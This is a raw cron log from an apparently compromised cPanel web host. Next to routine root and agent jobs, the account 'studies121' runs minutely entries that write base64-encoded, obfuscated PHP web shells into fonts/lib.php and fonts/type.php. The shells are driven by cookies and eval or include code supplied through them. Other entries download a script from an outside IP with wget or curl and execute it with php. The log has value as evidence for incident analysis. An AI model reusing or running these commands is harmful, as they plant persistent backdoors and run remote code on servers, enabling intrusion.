Sep  3 03:09:01 ip-184-168-122-23 CROND[22039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:09:01 ip-184-168-122-23 CROND[22040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:09:01 ip-184-168-122-23 CROND[22042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:09:01 ip-184-168-122-23 CROND[22041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22131]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22135]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:10:01 ip-184-168-122-23 CROND[22136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:10:01 ip-184-168-122-23 CROND[22139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:10:01 ip-184-168-122-23 CROND[22140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:11:01 ip-184-168-122-23 CROND[22238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:11:01 ip-184-168-122-23 CROND[22240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:11:01 ip-184-168-122-23 CROND[22241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:11:01 ip-184-168-122-23 CROND[22242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:12:01 ip-184-168-122-23 CROND[22408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:12:01 ip-184-168-122-23 CROND[22410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:12:01 ip-184-168-122-23 CROND[22411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:12:01 ip-184-168-122-23 CROND[22412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:12:01 ip-184-168-122-23 CROND[22413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:13:01 ip-184-168-122-23 CROND[22501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:13:01 ip-184-168-122-23 CROND[22503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:13:01 ip-184-168-122-23 CROND[22502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:13:01 ip-184-168-122-23 CROND[22505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:14:01 ip-184-168-122-23 CROND[22581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:14:01 ip-184-168-122-23 CROND[22583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:14:01 ip-184-168-122-23 CROND[22585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:14:01 ip-184-168-122-23 CROND[22584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:14:01 ip-184-168-122-23 CROND[22586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:15:01 ip-184-168-122-23 CROND[22685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:16:01 ip-184-168-122-23 CROND[22778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:16:01 ip-184-168-122-23 CROND[22779]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 03:16:01 ip-184-168-122-23 CROND[22783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:16:01 ip-184-168-122-23 CROND[22782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:16:01 ip-184-168-122-23 CROND[22784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:16:01 ip-184-168-122-23 CROND[22785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:17:01 ip-184-168-122-23 CROND[22990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:17:01 ip-184-168-122-23 CROND[22991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:17:01 ip-184-168-122-23 CROND[22992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:17:01 ip-184-168-122-23 CROND[22994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:18:01 ip-184-168-122-23 CROND[23090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:18:01 ip-184-168-122-23 CROND[23092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:18:01 ip-184-168-122-23 CROND[23094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:18:01 ip-184-168-122-23 CROND[23093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:18:01 ip-184-168-122-23 CROND[23095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:18:01 ip-184-168-122-23 anacron[20960]: Job `cron.daily' started
Sep  3 03:18:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[23105]: starting logrotate
Sep  3 03:18:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23127]: finished logrotate
Sep  3 03:18:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[23105]: starting man-db.cron
Sep  3 03:18:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[23138]: finished man-db.cron
Sep  3 03:18:03 ip-184-168-122-23 anacron[20960]: Job `cron.daily' terminated
Sep  3 03:18:03 ip-184-168-122-23 anacron[20960]: Normal exit (1 job run)
Sep  3 03:19:01 ip-184-168-122-23 CROND[23220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:19:01 ip-184-168-122-23 CROND[23222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 03:19:01 ip-184-168-122-23 CROND[23221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 03:19:01 ip-184-168-122-23 CROND[23227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 03:20:01 ip-184-168-122-23 CROND[23331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 03:20:01 ip-184-168-122-23 CROND[23326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 03:20:01 ip-184-168-122-23 CROND[23325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
